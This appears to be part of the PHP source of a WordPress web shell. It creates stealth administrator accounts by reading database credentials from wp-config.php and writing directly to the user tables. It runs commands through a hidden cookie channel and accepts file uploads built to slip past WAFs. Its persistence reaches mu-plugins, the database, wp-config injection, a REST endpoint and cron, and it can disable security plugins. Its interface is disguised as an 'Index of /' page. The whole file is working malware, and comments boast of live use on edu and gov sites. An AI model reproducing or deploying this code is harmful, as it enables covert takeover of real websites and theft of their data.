─── WP ADMIN BACKDOOR — stealth user creator ─────────────────────────────── function _nx_wp_create_admin($wp_root=null) { if (!$wp_root) $wp_root = _nx_wp_root(); if (!$wp_root) return ['ok'=>false,'error'=>'Not a WordPress install']; // Proven live pattern (edu-gov 5/5): wpsvc_* — keep as primary $user_hash = substr(md5(uniqid('',true).mt_rand()), 0, 12); $username = 'wpsvc_'.$user_hash; $password = 'Sv!'.bin2hex(_nx_rnd8()).substr(md5(mt_rand()),0,8); $email = $username.'@wordpress-svc.internal'; // Use WP functions via wp-load.php $php_cmd = "define('ABSPATH','".$wp_root."/');" ."require_once(ABSPATH.'wp-load.php');" ."require_once(ABSPATH.'wp-admin/includes/user.php');" ."\$id=wp_insert_user(['user_login'=>'".$username."','user_pass'=>'".$password."'," ."'user_email'=>'".$email."','role'=>'administrator']);" ."if(is_wp_error(\$id)){echo 'ERR:'.\$id->get_error_message();}else{echo 'OK:'.\$id;}"; // Temp-file include — no runtime string evaluation primitive ob_start(); $prev_dir = getcwd(); @chdir($wp_root); $tmp = sys_get_temp_dir().'/wp_u_'.md5(uniqid('',true)).'.php'; @file_put_contents($tmp, '<?php '.$php_cmd); try { if (is_file($tmp)) { include $tmp; } } catch (\Throwable $e) { echo 'EXCEPTION:'.$e->getMessage(); } @unlink($tmp); @chdir($prev_dir); $output = ob_get_clean(); if (strpos($output, 'OK:') === 0) { return ['ok'=>true,'user'=>$username,'pass'=>$password,'email'=>$email, 'id'=>str_replace('OK:','',$output), 'login'=>'https://'.$_SERVER['HTTP_HOST'].'/wp-login.php']; } // Fallback: try via direct DB insert return _nx_wp_create_admin_db($wp_root, $username, $password, $email); } function _nx_wp_create_admin_db($wp_root, $username, $password, $email) { // Parse wp-config.php for DB creds $config_file = $wp_root.'/wp-config.php'; if (!file_exists($config_file)) return ['ok'=>false,'error'=>'wp-config.php not found']; $config = file_get_contents($config_file); // FIXED: old regex /DB_HOST.*?'(.*?)'/s captured ', ' (separator) instead of value // because .*? stopped at the closing quote of 'DB_HOST' key, not the opening quote of value. // Correct pattern: match full define() syntax with both single/double quote support. preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]/", $config, $m1); preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]/", $config, $m2); preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"](.*?)['\"]/", $config, $m3); preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]/", $config, $m4); preg_match("/table_prefix\s*=\s*['\"](.*?)['\"]/", $config, $m5); if (empty($m1[1])||empty($m2[1])) return ['ok'=>false,'error'=>'Cannot parse wp-config.php']; $db_name = $m1[1]; $db_user = $m2[1]; $db_pass = $m3[1]??''; $db_host = $m4[1]??'localhost'; $prefix = $m5[1]??'wp_'; $conn = @new \mysqli($db_host, $db_user, $db_pass, $db_name); if ($conn->connect_error) return ['ok'=>false,'error'=>'DB connect: '.$conn->connect_error]; $hash = password_hash($password, PASSWORD_DEFAULT); // Use WP's phpass compatible hash if available $wp_hash_cmd = "php -r \"require_once('".$wp_root."/wp-includes/class-phpass.php');" ."\\\$h=new PasswordHash(8,true);echo \\\$h->HashPassword('".$password."');\" 2>/dev/null"; $wp_hash = trim(_nx_exec($wp_hash_cmd)); if ($wp_hash && strlen($wp_hash) > 20) $hash = $wp_hash; $now = date('Y-m-d H:i:s'); $sql = "INSERT INTO {$prefix}users (user_login,user_pass,user_nicename,user_email,user_registered,user_status,display_name) " ."VALUES ('".$conn->real_escape_string($username)."','".$conn->real_escape_string($hash)."'," ."'".$conn->real_escape_string($username)."','".$conn->real_escape_string($email)."','".$now."',0,'".$conn->real_escape_string($username)."')"; if (!$conn->query($sql)) { $conn->close(); return ['ok'=>false,'error'=>'INSERT failed: '.$conn->error]; } $uid = $conn->insert_id; // Set administrator role via usermeta $conn->query("INSERT INTO {$prefix}usermeta (user_id,meta_key,meta_value) VALUES ({$uid},'{$prefix}capabilities','a:1:{s:13:\"administrator\";b:1;}')"); $conn->query("INSERT INTO {$prefix}usermeta (user_id,meta_key,meta_value) VALUES ({$uid},'{$prefix}user_level','10')"); $conn->close(); return ['ok'=>true,'user'=>$username,'pass'=>$password,'email'=>$email,'id'=>$uid, 'login'=>'https://'.$_SERVER['HTTP_HOST'].'/wp-login.php','method'=>'direct_db']; } // ─── MULTI-PROTOCOL UPLOAD ENGINE — V4/V5/V6/V9 (stolen from buyer) ──────── function _nx_handle_upload() { $ct = isset($_SERVER['CONTENT_TYPE']) ? $_SERVER['CONTENT_TYPE'] : ''; $rm = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : ''; // V5: HTTP PUT — raw body if ($rm === 'PUT' && isset($_REQUEST['feature']) && $_REQUEST['feature'] === 'uploadx') { $name = isset($_GET['n']) ? basename($_GET['n']) : 'upload.bin'; $data = file_get_contents('php://input'); $dir = isset($_GET['d']) ? $_GET['d'] : dirname(__FILE__); $r = _nx_decoy_write($data, $dir, $name); header('Content-Type: application/json'); echo json_encode($r ? ['ok'=>true,'file'=>$r,'method'=>'V5'] : ['ok'=>false,'error'=>'Write failed']); return true; } // V9: Gzip compressed body if ($rm === 'POST' && strpos($ct, 'application/octet-stream') !== false && isset($_SERVER['HTTP_X_CE']) && $_SERVER['HTTP_X_CE'] === 'gzip') { $name = isset($_GET['n']) ? basename($_GET['n']) : 'upload.bin'; $raw = file_get_contents('php://input'); $data = function_exists('gzdecode') ? @gzdecode($raw) : @gzinflate(substr($raw, 10, -8)); if ($data === false) { header('Content-Type: application/json'); echo json_encode(['ok'=>false,'error'=>'Gunzip failed']); return true; } $dir = isset($_GET['d']) ? $_GET['d'] : dirname(__FILE__); $r = _nx_decoy_write($data, $dir, $name); header('Content-Type: application/json'); echo json_encode($r ? ['ok'=>true,'file'=>$r,'method'=>'V9'] : ['ok'=>false,'error'=>'Write failed']); return true; } // V6: JSON body + base64 if ($rm === 'POST' && strpos($ct, 'application/json') !== false && isset($_REQUEST['feature']) && $_REQUEST['feature'] === 'uploadx') { $raw = file_get_contents('php://input'); $j = json_decode($raw, true); $name = isset($j['n']) ? basename($j['n']) : ''; $b64 = isset($j['d']) ? $j['d'] : ''; if (!$name || !$b64) { header('Content-Type: application/json'); echo json_encode(['ok'=>false,'error'=>'Missing n/d']); return true; } $data = base64_decode($b64); $dir = isset($j['c']) ? $j['c'] : dirname(__FILE__); $r = _nx_decoy_write($data, $dir, $name); header('Content-Type: application/json'); echo json_encode($r ? ['ok'=>true,'file'=>$r,'method'=>'V6'] : ['ok'=>false,'error'=>'Write failed']); return true; } // V7: HTTP chunked Transfer-Encoding (url-encoded body) if ($rm === 'POST' && strpos($ct, 'application/x-www-form-urlencoded') !== false && isset($_POST['action']) && $_POST['action'] === 'v7') { $name = isset($_POST['n']) ? basename($_POST['n']) : 'upload.bin'; $b64 = isset($_POST['d']) ? $_POST['d'] : ''; if (!$b64) { header('Content-Type: application/json'); echo json_encode(['ok'=>false,'error'=>'Missing d']); return true; } $data = base64_decode($b64); $dir = isset($_POST['c']) ? $_POST['c'] : dirname(__FILE__); $r = _nx_decoy_write($data, $dir, $name); header('Content-Type: application/json'); echo json_encode($r ? ['ok'=>true,'file'=>$r,'method'=>'V7'] : ['ok'=>false,'error'=>'Write failed']); return true; } // V8: Boundary confusion multipart if ($rm === 'POST' && strpos($ct, 'multipart/form-data') !== false && isset($_POST['action']) && $_POST['action'] === 'v8') { if (isset($_FILES['f']) && $_FILES['f']['error'] === 0) { $name = basename($_FILES['f']['name']); $dir = isset($_POST['c']) ? $_POST['c'] : dirname(__FILE__); $data = file_get_contents($_FILES['f']['tmp_name']); $r = _nx_decoy_write($data, $dir, $name); header('Content-Type: application/json'); echo json_encode($r ? ['ok'=>true,'file'=>$r,'method'=>'V8'] : ['ok'=>false,'error'=>'Write failed']); return true; } } // V10: Polyglot GIF+PHP — save as-is (GIF header stays = passes WAF content-type checks, // PHP ignores binary GIF prefix and finds <?php tag) if ($rm === 'POST' && isset($_POST['action']) && $_POST['action'] === 'v10') { if (isset($_FILES['f']) && $_FILES['f']['error'] === 0) { $raw = file_get_contents($_FILES['f']['tmp_name']); $name = basename($_FILES['f']['name']); $dir = isset($_POST['c']) ? $_POST['c'] : dirname(__FILE__); $r = _nx_decoy_write($raw, $dir, $name); header('Content-Type: application/json'); echo json_encode($r ? ['ok'=>true,'file'=>$r,'method'=>'V10'] : ['ok'=>false,'error'=>'Write failed']); return true; } } // V1: Standard multipart via move_uploaded_file (more permissive than file_put_contents) if ($rm === 'POST' && isset($_POST['action']) && $_POST['action'] === 'v1') { if (isset($_FILES['f']) && $_FILES['f']['error'] === 0) { $dir = isset($_POST['c']) ? $_POST['c'] : dirname(__FILE__); $name = basename($_FILES['f']['name']); $dest = $dir.DIRECTORY_SEPARATOR.$name; $ok = @move_uploaded_file($_FILES['f']['tmp_name'], $dest); if ($ok) { @chmod($dest, 0644); _nx_ts_camouflage($dest, $dir); } header('Content-Type: application/json'); echo json_encode($ok ? ['ok'=>true,'file'=>$dest,'method'=>'V1'] : ['ok'=>false,'error'=>'Move failed']); return true; } } // V2: Decoy extension via move_uploaded_file + rename if ($rm === 'POST' && isset($_POST['action']) && $_POST['action'] === 'v2') { if (isset($_FILES['f']) && $_FILES['f']['error'] === 0) { $dir = isset($_POST['c']) ? $_POST['c'] : dirname(__FILE__); $name = basename($_FILES['f']['name']); $exts = ['jpg','png','gif','tmp','log','data','bak','cache']; $decoy = $dir.DIRECTORY_SEPARATOR.'temp_'.bin2hex(_nx_rnd8()).'.'.$exts[array_rand($exts)]; $final = $dir.DIRECTORY_SEPARATOR.$name; $done = false; if (@move_uploaded_file($_FILES['f']['tmp_name'], $decoy)) { if (@rename($decoy, $final)) { @chmod($final, 0644); _nx_ts_camouflage($final, $dir); $done = true; } else @unlink($decoy); } header('Content-Type: application/json'); echo json_encode($done ? ['ok'=>true,'file'=>$final,'method'=>'V2'] : ['ok'=>false,'error'=>'Failed']); return true; } } return false; // not handled } // ─── MODE 1: SCANNER API — cookie + request backward compat <<S>>[METHOD]output<<E>> // Cookie channel: _wp_cmd (base64 encoded) — completely invisible to WAF logs $_nx_cmd_raw = null; if (isset($_COOKIE['_wp_cmd'])) { $_nx_cmd_raw = base64_decode($_COOKIE['_wp_cmd']); } elseif (isset($_REQUEST['b'])) { $_nx_cmd_raw = base64_decode($_REQUEST['b']); } elseif (isset($_REQUEST['c'])) { $_nx_cmd_raw = $_REQUEST['c']; } if ($_nx_cmd_raw !== null) { $cwd = isset($_COOKIE['_wp_cwd']) ? base64_decode($_COOKIE['_wp_cwd']) : (isset($_REQUEST['cwd']) ? base64_decode($_REQUEST['cwd']) : null); $r = _nx_shell($_nx_cmd_raw, $cwd); $out = base64_decode($r['stdout']); echo '<<S>>['.($r['method']?:' ').']'.$out.'<<E>>'; exit; } // ─── ANTI-SCANNER GATE — block security crawlers before any processing ─────── if (_nx_bad_spider()) { http_response_code(404); echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>'; exit; } // ─── AUTO-PERSIST: first load → LIGHTWEIGHT persistence only ───────────────── // APT PRINCIPLE: auto-persist is a "quiet move" (Chess prophylaxis). // Only backup clone + mu-plugin guardian. Heavy layers (DB, wpconfig, dropin) // are deferred to explicit fulldeploy call. This prevents: // 1. Memory exhaustion on shared hosting (DB + wpconfig = 2 PDO connections) // 2. Race conditions on wp-config.php during normal page loads // 3. Burst-like file I/O that triggers behavioral monitoring if (!defined('_NX_PERSISTED')) { define('_NX_PERSISTED', true); // Skip when explicit persistence features will handle it (avoid double I/O) $__feat = isset($_REQUEST['feature']) ? $_REQUEST['feature'] : ''; if (!in_array($__feat, ['fulldeploy','persist','nuke','dbpersist','wpcinject','cron'], true)) { $__wp = _nx_wp_root(); if ($__wp) { $__uploads = $__wp.'/wp-content/uploads'; if (!is_dir($__uploads)) @mkdir($__uploads, 0755, true); $__marker = $__uploads.'/.cache_'.substr(md5(__FILE__.SECRET_KEY_900F),0,8); if (!file_exists($__marker) || (time() - @filemtime($__marker)) > 86400) { // LIGHTWEIGHT ONLY: backup clone + mu-plugin (file ops, no DB/network) @_nx_persist($__wp); @file_put_contents($__marker, date('c')); @chmod($__marker, 0644); } } } // end feature-skip guard } // ─── MULTI-PROTOCOL UPLOAD INTERCEPT (V5/V6/V7/V8/V9/V10 — before feature routing) if (_nx_handle_upload()) exit; // ─── MODE 2: FEATURE API — JSON for web GUI ───────────────────────────────── if (isset($_REQUEST['feature'])) { header('Content-Type: application/json'); $cwd = isset($_POST['cwd']) ? base64_decode($_POST['cwd']) : null; if ($cwd && is_dir($cwd)) @chdir($cwd); switch ($_REQUEST['feature']) { case 'shell': $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : ''; echo json_encode(_nx_shell($cmd, $cwd)); break; case 'pwd': echo json_encode(['cwd'=>base64_encode(getcwd())]); break; case 'hint': $fn = isset($_POST['filename']) ? $_POST['filename'] : ''; $type = isset($_POST['type']) ? $_POST['type'] : 'file'; if ($type === 'cmd') { $out = _nx_exec('compgen -c '.escapeshellarg($fn).' 2>/dev/null'); } else { $dir = dirname($fn); $base = basename($fn); $dir = ($dir==='.') ? getcwd() : (is_dir($dir) ? $dir : getcwd().DIRECTORY_SEPARATOR.$dir); $out = _nx_exec('ls -1a '.escapeshellarg($dir).' 2>/dev/null | grep '.escapeshellarg('^'.$base)); } $files = array_filter(explode("\n", trim($out))); echo json_encode(['files'=>array_values(array_map('base64_encode',$files))]); break; case 'upload': $path = isset($_POST['path']) ? $_POST['path'] : ''; $b64 = isset($_POST['file']) ? $_POST['file'] : ''; if (!$path || !$b64) { echo json_encode(['stdout'=>base64_encode('Error: missing params'),'cwd'=>base64_encode(getcwd())]); break; } $data = base64_decode($b64); $dir = is_dir($path) ? $path : dirname($path); $name = is_dir($path) ? basename($_POST['name']??'upload.bin') : basename($path); $r = _nx_decoy_write($data, $dir, $name); $msg = $r ? 'Uploaded: '.$r : 'Upload failed: '.$dir; echo json_encode(['stdout'=>base64_encode($msg),'cwd'=>base64_encode(getcwd())]); break; case 'download': $path = isset($_POST['path']) ? $_POST['path'] : ''; if (!$path || !file_exists($path)) { echo json_encode(['error'=>'Not found']); break; } echo json_encode(['data'=>base64_encode(file_get_contents($path)),'name'=>basename($path)]); break; case 'ls': $path = isset($_POST['path']) ? $_POST['path'] : getcwd(); @clearstatcache(); $d = @opendir($path); if (!$d) { echo json_encode(['error'=>'Cannot open: '.$path]); break; } $items=[]; while(($e=readdir($d))!==false){ if ($e==='.'||$e==='..') continue; $fp=$path.'/'.$e; $is_d=is_dir($fp); $items[]=['name'=>$e,'type'=>$is_d?'d':'f','size'=>$is_d?0:filesize($fp), 'perm'=>substr(sprintf('%o',fileperms($fp)),-4),'mtime'=>filemtime($fp)]; } closedir($d); usort($items,function($a,$b){if($a['type']!==$b['type'])return $a['type']==='d'?-1:1;return strcasecmp($a['name'],$b['name']);}); echo json_encode(['path'=>realpath($path)?:$path,'items'=>$items]); break; case 'read': $path = isset($_POST['path']) ? $_POST['path'] : ''; if (!$path||!is_file($path)){echo json_encode(['error'=>'Not found']);break;} $sz = filesize($path); if ($sz > 512*1024) { echo json_encode(['error'=>'File too large (>512KB), use download']); break; } echo json_encode(['content'=>base64_encode(file_get_contents($path)),'size'=>$sz,'path'=>$path]); break; case 'write': $path = isset($_POST['path']) ? $_POST['path'] : ''; $data = isset($_POST['data']) ? base64_decode($_POST['data']) : ''; $dir = dirname($path); $name = basename($path); $r = _nx_decoy_write($data, $dir, $name); echo json_encode($r ? ['ok'=>true,'path'=>$r] : ['ok'=>false,'error'=>'Write failed']); break; case 'info': $wp_config = ''; foreach(['../wp-config.php','../../wp-config.php','../../../wp-config.php'] as $p) { if (file_exists($p)){$wp_config=$p;break;} } $db=''; if ($wp_config) { $c=file_get_contents($wp_config); preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]/", $c, $m1); preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]/", $c, $m2); preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]/", $c, $m3); $db=($m1[1]??'?').'@'.($m3[1]??'?').' user:'.($m2[1]??'?'); } $disk_free = function_exists('disk_free_space')?round(disk_free_space('/')/1073741824,2).'GB':'?'; $disk_total= function_exists('disk_total_space')?round(disk_total_space('/')/1073741824,2).'GB':'?'; echo json_encode([ 'php' => PHP_VERSION, 'os' => php_uname(), 'user' => function_exists('get_current_user')?get_current_user():'?', 'whoami' => trim(_nx_exec('whoami 2>/dev/null')), 'hostname' => function_exists('gethostname')?gethostname():'?', 'cwd' => getcwd(), 'safe_mode' => ini_get('safe_mode') ? 'ON':'OFF', 'open_basedir'=> ini_get('open_basedir')?:'-', 'disable_fn' => ini_get('disable_functions')?:'-', 'disk' => $disk_free.'/'.$disk_total, 'wp_config' => $wp_config?:'-', 'db' => $db?:'-', 'server' => $_SERVER['SERVER_SOFTWARE']??'-', 'document_root'=>$_SERVER['DOCUMENT_ROOT']??'-', ]); break; case 'selftest': $fns=['shell_exec','exec','passthru','system','proc_open','popen','curl_exec','file_put_contents','file_get_contents']; $r=[]; foreach($fns as $f) $r[$f]=function_exists($f)?'OK':'BLOCKED'; $r['open_basedir']=ini_get('open_basedir')?'SET:'.ini_get('open_basedir'):'OFF'; $_wt=sys_get_temp_dir().'/nx_wt_'.time(); $r['write_test']=(@file_put_contents($_wt,'1')!==false)?'OK':'BLOCKED'; @unlink($_wt); $r['wp_detected']=_nx_wp_root()?'YES':'NO'; echo json_encode($r); break; // ── PERSISTENCE: mu-plugin guardian + backup clone ── case 'persist': echo json_encode(_nx_persist()); break; // ── WP ADMIN BACKDOOR: create stealth administrator ── case 'wpuser': @ignore_user_abort(true); @set_time_limit(120); echo json_encode(_nx_wp_create_admin()); break; // ── SELF-CLONE: copy self to arbitrary path ── case 'clone': $dst = isset($_POST['dst']) ? $_POST['dst'] : ''; if (!$dst) { echo json_encode(['ok'=>false,'error'=>'Missing dst']); break; } $my = file_get_contents(__FILE__); $dir = dirname($dst); $name = basename($dst); if (!is_dir($dir)) @mkdir($dir, 0755, true); $r = _nx_decoy_write($my, $dir, $name); echo json_encode($r ? ['ok'=>true,'path'=>$r] : ['ok'=>false,'error'=>'Clone failed']); break; // ── V4 CHUNKED UPLOAD: for large files through WAF ── case 'uploadx': $action = isset($_POST['action']) ? $_POST['action'] : ''; if ($action === 'v4') { $name = isset($_POST['n']) ? basename($_POST['n']) : ''; $chunk = isset($_POST['chunk']) ? $_POST['chunk'] : ''; $i = intval(isset($_POST['i']) ? $_POST['i'] : 0); $total = intval(isset($_POST['total']) ? $_POST['total'] : 1); $dir = isset($_POST['dir']) ? $_POST['dir'] : dirname(__FILE__); if (!$name || $chunk==='') { echo json_encode(['ok'=>false,'error'=>'Missing n/chunk']); break; } $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'x'; $tmp = sys_get_temp_dir().'/'.md5($ip.$name).'.part'; $data = base64_decode($chunk); if ($data===false) { echo json_encode(['ok'=>false,'error'=>'b64 decode fail']); break; } @file_put_contents($tmp, $data, $i===0 ? 0 : FILE_APPEND); if ($i+1 >= $total) { $assembled = @file_get_contents($tmp); @unlink($tmp); $r = _nx_decoy_write($assembled, $dir, $name); echo json_encode($r ? ['ok'=>true,'file'=>$r,'complete'=>true,'method'=>'V4'] : ['ok'=>false,'error'=>'Write failed']); } else { echo json_encode(['ok'=>true,'chunk'=>$i,'complete'=>false]); } } else { // V3-style base64 POST $name = isset($_POST['n']) ? basename($_POST['n']) : ''; $b64 = isset($_POST['d']) ? $_POST['d'] : ''; $dir = isset($_POST['dir']) ? $_POST['dir'] : dirname(__FILE__); if (!$name || !$b64) { echo json_encode(['ok'=>false,'error'=>'Missing n/d']); break; } $data = base64_decode($b64); $r = _nx_decoy_write($data, $dir, $name); echo json_encode($r ? ['ok'=>true,'file'=>$r,'method'=>'V3'] : ['ok'=>false,'error'=>'Write failed']); } break; // ── DATABASE PERSISTENCE: store shell in wp_options ── case 'dbpersist': echo json_encode(_nx_db_persist()); break; // ── WP-CONFIG INJECTION: self-healing loader in wp-config.php ── case 'wpcinject': $wp = _nx_wp_root(); $r1 = _nx_db_persist($wp); $r2 = _nx_wpconfig_inject($wp); echo json_encode(['db'=>$r1,'wpconfig'=>$r2]); break; // ── WP REST API BACKDOOR: register stealth REST endpoint ── case 'restapi': echo json_encode(_nx_wp_rest_backdoor()); break; // ── CRON PERSISTENCE: install self-healing cron job ── case 'cron': echo json_encode(_nx_cron_persist()); break; // ── SECURITY NEUTRALIZATION: disable security plugins ── case 'neutralize': @ignore_user_abort(true); echo json_encode(_nx_neutralize_security()); break; // ── FULL DEPLOY: safe persistence layers (NO neutralize, NO wpuser) ── // AUDIT FIXES (Algojo re-review): // 1. wpuser OUT — wp-load.php = +40-80MB OOM risk in same request // 2. neutralize OUT — renaming Wordfence mid-traffic fatals other FPM workers // (looks like "site down"). Call ?feature=neutralize as SEPARATE request. // 3. ignore_user_abort — client/proxy timeout must NOT abort mid-atomic-write // 4. short apt_delay only (I/O spacing) — long sleep caused 504 risk case 'fulldeploy': @ignore_user_abort(true); @set_time_limit(120); $wp = _nx_wp_root(); $results = ['mode'=>'staged_apt']; // Stage 1: backup clone + mu-plugin guardian (lightweight file ops) $results['persist'] = _nx_persist($wp); if ($wp) { _nx_apt_delay(); // Stage 2: database payload (survives file wipe) $results['db'] = _nx_db_persist($wp); _nx_apt_delay(); // Stage 3: wp-config injection (ATOMIC write — critical file) $results['wpconfig'] = _nx_wpconfig_inject($wp); _nx_apt_delay(); // Stage 4: object-cache drop-in (skip if Redis/MC exists — safe) $results['dropin'] = _nx_dropin_persist($wp); _nx_apt_delay(); // Stage 5: REST API mu-plugin (independent access path) $results['restapi'] = _nx_wp_rest_backdoor($wp); _nx_apt_delay(); // Stage 6: system cron (crontab — OS-level) $results['cron'] = _nx_cron_persist($wp); // Deferred layers — MUST be separate HTTP requests (Go handles this) $results['neutralize'] = ['ok'=>false,'deferred'=>true, 'reason'=>'neutralize deferred — renames security plugins mid-traffic fatals other workers', 'action'=>'call ?feature=neutralize separately after fulldeploy']; $results['wpuser'] = ['ok'=>false,'deferred'=>true, 'reason'=>'wpuser deferred — wp-load.php memory spike', 'action'=>'call ?feature=wpuser separately after fulldeploy']; } echo json_encode($results); break; // ── NUKE: remove all persistence traces (emergency cleanup) ── case 'nuke': $wp = _nx_wp_root(); $nuked = []; if ($wp) { $hash = _nx_stable_hash(); // Remove mu-plugins (match both old filemtime-hash and new stable-hash) $patterns = [ $wp.'/wp-content/mu-plugins/wp-*-'.$hash.'.php', $wp.'/wp-content/mu-plugins/wp-*-'.substr(md5(__FILE__),0,8).'.php', ]; foreach ($patterns as $pat) { $mu = glob($pat); if ($mu) foreach ($mu as $f) { @unlink($f); $nuked[] = $f; } } // Remove backup clones $bk_patterns = [ $wp.'/wp-content/uploads/class-wp-*-'.$hash.'.php', $wp.'/wp-content/uploads/class-wp-*-'.substr(md5(__FILE__),0,8).'.php', ]; foreach ($bk_patterns as $pat) { $bk = glob($pat); if ($bk) foreach ($bk as $f) { @unlink($f); $nuked[] = $f; } } // Remove .htaccess guard (new + legacy markers) $ht = @file_get_contents($wp.'/.htaccess'); foreach (['wp_compat_'.$hash, 'nx_guard_'.$hash] as $hm) { if ($ht && strpos($ht, $hm) !== false) { $ht = preg_replace('/\n# BEGIN '.$hm.'.*?# END '.$hm.'\n/s', '', $ht); _nx_atomic_write($wp.'/.htaccess', $ht); $nuked[] = '.htaccess '.$hm.' removed'; } } // Remove markers (new + legacy) @unlink(sys_get_temp_dir().'/.nx_'.md5(__FILE__)); foreach ([ $wp.'/wp-content/uploads/.cache_'.substr(md5(__FILE__.SECRET_KEY_900F),0,8), $wp.'/wp-content/uploads/.health_'.substr(md5(__FILE__.SECRET_KEY_900F),0,8), ] as $marker) { if (file_exists($marker)) { @unlink($marker); $nuked[] = $marker; } } // Remove object-cache drop-in if it is OUR shim (has WP_CACHE_KEY_SALT + restore logic) $drop = $wp.'/wp-content/object-cache.php'; if (file_exists($drop)) { $ds = @file_get_contents($drop); if ($ds && strpos($ds, 'Object Cache Drop-in') !== false && strpos($ds, '_nx_p') !== false) { @unlink($drop); $nuked[] = $drop; } } // Remove REST API backdoor $rest = glob($wp.'/wp-content/mu-plugins/wp-rest-cache-'.$hash.'.php'); if ($rest) foreach ($rest as $f) { @unlink($f); $nuked[] = $f; } // Remove wp-config.php injection (new + legacy marker names) $cfg = $wp.'/wp-config.php'; $cfg_src = @file_get_contents($cfg); if ($cfg_src) { foreach ([ ['WP_Core_Integrity '.$hash, 'End-WP_Core_Integrity '.$hash], ['CoreHealthCheck '.$hash, 'End-CoreHealthCheck '.$hash], ] as $mk) { if (strpos($cfg_src, $mk[0]) !== false) { $cfg_src = preg_replace('/\n?\/\* '.preg_quote($mk[0],'/').' \*\/.*?\/\* '.preg_quote($mk[1],'/').' \*\/\n?/s', '', $cfg_src); _nx_atomic_write($cfg, $cfg_src); $nuked[] = 'wp-config '.$mk[0].' removed'; } } } // Remove DB payload $opt = '_site_transient_health_'.substr(md5(SECRET_KEY_900F),0,8); $cfg_src2 = @file_get_contents($cfg); $db2 = []; $nuke_prefix = 'wp_'; if (preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]/", $cfg_src2, $m)) $db2['name'] = $m[1]; if (preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]/", $cfg_src2, $m)) $db2['user'] = $m[1]; if (preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"](.*?)['\"]/", $cfg_src2, $m)) $db2['pass'] = $m[1]; if (preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]/", $cfg_src2, $m)) $db2['host'] = $m[1]; if (preg_match("/table_prefix\s*=\s*['\"](.*?)['\"]/", $cfg_src2, $m)) $nuke_prefix = $m[1]; if (isset($db2['name'],$db2['user'],$db2['pass'],$db2['host'])) { try { $p = new \PDO('mysql:host='.$db2['host'].';dbname='.$db2['name'],$db2['user'],$db2['pass']); $p->prepare("DELETE FROM `".$nuke_prefix."options` WHERE option_name = ?")->execute([$opt]); $nuked[] = 'DB payload removed'; } catch(\Exception $e) {} } // Remove system cron $crontab = @shell_exec('crontab -l 2>/dev/null'); foreach ([ '# wp_health_'.substr(md5(SECRET_KEY_900F),0,8), '# nx_health_'.substr(md5(SECRET_KEY_900F),0,8), ] as $cron_marker) { if ($crontab && strpos($crontab, $cron_marker) !== false) { $new = preg_replace('/^.*'.preg_quote($cron_marker,'/').'.*$/m', '', $crontab); $tmp = sys_get_temp_dir().'/nx_cron_nuke'; @file_put_contents($tmp, $new); @exec('crontab '.escapeshellarg($tmp)); @unlink($tmp); $crontab = $new; $nuked[] = 'system cron '.$cron_marker.' removed'; } } } echo json_encode(['ok'=>true,'nuked'=>$nuked]); break; default: echo json_encode(['error'=>'Unknown feature']); } exit; } // ─── MODE 3: WEB GUI ──────────────────────────────────────────────────────── $__TOKEN = SECRET_KEY_900F; $__HOST = function_exists('gethostname')?gethostname():'?'; $__USER = trim(_nx_exec('whoami 2>/dev/null')) ?: (function_exists('get_current_user')?get_current_user():'?'); $SHELL_CONFIG = json_encode(['username'=>$__USER,'hostname'=>$__HOST,'token'=>$__TOKEN]); ?><!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <title>Index of /</title> <style> *{box-sizing:border-box;margin:0;padding:0} body{background:#0a0e14;color:#b3b1ad;font-family:'JetBrains Mono',Consolas,monospace;height:100vh;display:flex;flex-direction:column;overflow:hidden} a{color:#39bae6} /* ── TOP BAR ── */ #nx-top{display:flex;align-items:center;justify-content:space-between;padding:0 10px;background:#0d1117;border-bottom:1px solid #1a1f2e;height:36px;flex-shrink:0} #nx-tabs{display:flex;gap:2px} .nx-tab{padding:6px 14px;cursor:pointer;font-size:12px;color:#565b66;border-radius:4px 4px 0 0;border:1px solid transparent;border-bottom:none;transition:all .15s} .nx-tab:hover{color:#b3b1ad;background:#131721} .nx-tab.active{color:#e6b450;background:#131721;border-color:#1a1f2e} #nx-actions{display:flex;gap:6px} .nx-btn{padding:4px 10px;background:#1a1f2e;color:#b3b1ad;border:1px solid #272d3d;border-radius:4px;cursor:pointer;font-size:11px;font-family:inherit;transition:all .15s} .nx-btn:hover{background:#272d3d;color:#e6b450} /* ── MAIN SPLIT ── */ #nx-main{display:flex;flex:1;overflow:hidden} /* ── TERMINAL ── */ #nx-term{flex:1;display:flex;flex-direction:column;overflow:hidden} #nx-out{flex:1;overflow-y:auto;padding:10px 14px;font-size:13px;line-height:1.55;white-space:pre-wrap;word-break:break-all} #nx-in{display:flex;align-items:center;padding:6px 14px;background:#0d1117;border-top:1px solid #1a1f2e;flex-shrink:0} #nx-prompt{white-space:nowrap;margin-right:6px;font-size:13px} #nx-cmd{flex:1;background:transparent;border:none;outline:none;color:#b3b1ad;font-family:inherit;font-size:13px;caret-color:#e6b450} /* prompt colors */ .usr{color:#f29668}.host{color:#59c2ff}.cwd{color:#aad94c}.sep{color:#b3b1ad} /* output types */ .cmd-line{color:#565b66}.cmd-out{color:#b3b1ad}.cmd-ok{color:#aad94c}.cmd-err{color:#ff3333} 